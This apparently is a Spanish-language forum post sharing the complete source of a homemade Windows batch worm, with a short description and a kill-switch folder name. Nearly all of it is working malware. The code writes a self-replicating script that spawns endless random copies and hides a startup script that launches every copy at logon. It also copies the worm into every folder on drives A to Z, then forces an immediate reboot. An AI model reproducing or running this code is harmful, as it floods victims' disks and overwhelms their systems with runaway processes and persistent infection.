Bueno, hace no mucho que lo he acabado. Es un pequeño gusano. El progama crea dos programas, el gusano en si y otro que se pondra en la carpeta de inicio del usuario. Despues de esto el programa busca todas las carpetas existentes en las particiones de la A a la Z (Si existen en tu ordenador) e
intenta copiar en ellas el gusano (Resalto el "intenta copiar" por que en algunas carpetas el sitema le denegara el acceso, el objetivo no es que este en todas sino que este en la mayoria). Luego de esto reinicia el pc. Al entrar en el usuario infectado se habre el segundo programa. Este programa busca en todas las carpetas de las particiones de la A a la Z (Si existen) las copias del gusano. Usa un sistema muy simple (Todas las copias se llamaran *I*C*X*.bat, donde * es cualquier cosa) que se puede cambiar facilmente. Si el ordenador tiene mas de un usuario probablemente se haya copiado tambien el gusano en la carpeta de inicio de estos y se inicie cada vez que se abra. El gusano tiene un "boton de desinstalado", pensado para esos usuarios que no saben bien lo que hacen y la cagan cada dos por tres (Me incluyo). Para eliminar el gusano del equipo se enciende en modo seguro y se crea una carpeta en System32 (C:\Windows\System32) llamada DieKleineKatze.ICX, se reinicia y se inicia sesion con el usuario infectado. Se abrira el segundo programa, que al detectar la carpeta pondra un pause antes de abrir cada una de las copias deel gusano. Las copias del gusano se abriran y al encontrar la carpeta se eliminaran y se cerraran. Bueno, aqui esta el codigo, cualquier ruego, pregunta, y sobretodo, correccion, un comentario, procurare estar atento. Gracias por tu tiempo
@ECHO OFF
echo @ECHO OFF>>ICX.bat
echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (DEL %%0^&exit)>>ICX.bat
echo SET THAP=%%RANDOM%%%%RANDOM%%I%%RANDOM%%%%RANDOM%%C%%RANDOM%%%%RANDOM%%X%%RANDOM%%%%RANDOM%%.bat>>ICX.bat
echo copy %%0 %%THAP%%>>ICX.bat
echo start %%THAP%%>>ICX.bat
echo "%%0">>ICX.bat
echo @ECHO OFF>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (SET P=pause^^^&)
echo IF EXIST "A:\" FOR /R "A:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "B:\" FOR /R "B:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "C:\" FOR /R "C:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "D:\" FOR /R "D:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "E:\" FOR /R "E:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "F:\" FOR /R "F:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "G:\" FOR /R "G:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "H:\" FOR /R "H:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "I:\" FOR /R "I:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "J:\" FOR /R "J:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "K:\" FOR /R "K:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "L:\" FOR /R "L:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "M:\" FOR /R "M:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "N:\" FOR /R "N:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "O:\" FOR /R "O:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "P:\" FOR /R "P:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "Q:\" FOR /R "Q:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "R:\" FOR /R "R:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "S:\" FOR /R "S:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "T:\" FOR /R "T:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "U:\" FOR /R "U:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "V:\" FOR /R "V:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "W:\" FOR /R "W:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "X:\" FOR /R "X:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "Y:\" FOR /R "Y:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo IF EXIST "Z:\" FOR /R "Z:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo echo IF YOU CAN SEE THIS THE VIRUS IS DELETED>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo echo WENN DU KANNST SEHEN DAS DER VIRUS IST GELOCHSTE>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo echo SI PUEDES VER ESTO EL VIRUS SE ELIMINO>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo pause^>nul>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
echo DEL %%0^&exit>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"
ATTRIB "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT" +H
IF EXIST "A:\" FOR /R "A:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "B:\" FOR /R "B:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "C:\" FOR /R "C:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "D:\" FOR /R "D:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "E:\" FOR /R "E:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "F:\" FOR /R "F:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "G:\" FOR /R "G:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "H:\" FOR /R "H:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "I:\" FOR /R "I:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "J:\" FOR /R "J:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "K:\" FOR /R "K:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "L:\" FOR /R "L:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "M:\" FOR /R "M:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "N:\" FOR /R "N:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "O:\" FOR /R "O:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "P:\" FOR /R "P:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "Q:\" FOR /R "Q:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "R:\" FOR /R "R:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "S:\" FOR /R "S:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "T:\" FOR /R "T:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "U:\" FOR /R "U:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "V:\" FOR /R "V:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "W:\" FOR /R "W:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "X:\" FOR /R "X:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "Y:\" FOR /R "Y:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
IF EXIST "Z:\" FOR /R "Z:\" %%X in (.) DO (
Pushd %%X
copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"
Popd
)
shutdown /r /t:0